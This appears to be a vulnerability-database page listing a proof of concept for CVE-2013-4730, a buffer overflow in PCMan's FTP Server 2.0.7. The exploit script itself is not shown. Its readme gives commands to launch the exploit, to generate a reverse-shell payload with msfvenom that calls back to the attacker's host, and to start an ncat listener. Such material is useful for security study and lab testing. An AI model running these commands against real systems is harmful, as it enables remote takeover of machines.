CVE-2013-4730 PoC — PCMan's FTP Server 缓冲区溢出漏洞

Source

Associated Vulnerability

Title:PCMan's FTP Server 缓冲区溢出漏洞 (CVE-2013-4730)
Description:Buffer overflow in PCMan's FTP Server 2.0.7 allows remote attackers to execute arbitrary code via a long string in a USER command.

Description

A very simple buffer overflow using CVE-2013-4730 against PCman's FTP server

Readme

# PCman FTP Server Buffer overflow and Remote Code Execution [CVE-2013-4730]
A very simple buffer overflow using CVE-2013-4730 against PCman's FTP server v.2.0.7
## How it works?
That easy BoF overwrite the buffer and execute the shellcode that will connect back (reverse shell)
## Vuln machines:
WindowsXP SP3 running PCman's FTP Server at version 2.0.7
## launch
````~$ python3 PCman.py <host> <port>````
## Repleace the shellcode with your own!!
````~$ sudo ./msfvenom windows/shell_reverse_tcp LHOST=<your ip> LPORT=4444````
## Launch netcat 
````~$ ncat -lvp <shellcode port>````
## Use only on your own machine!!

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!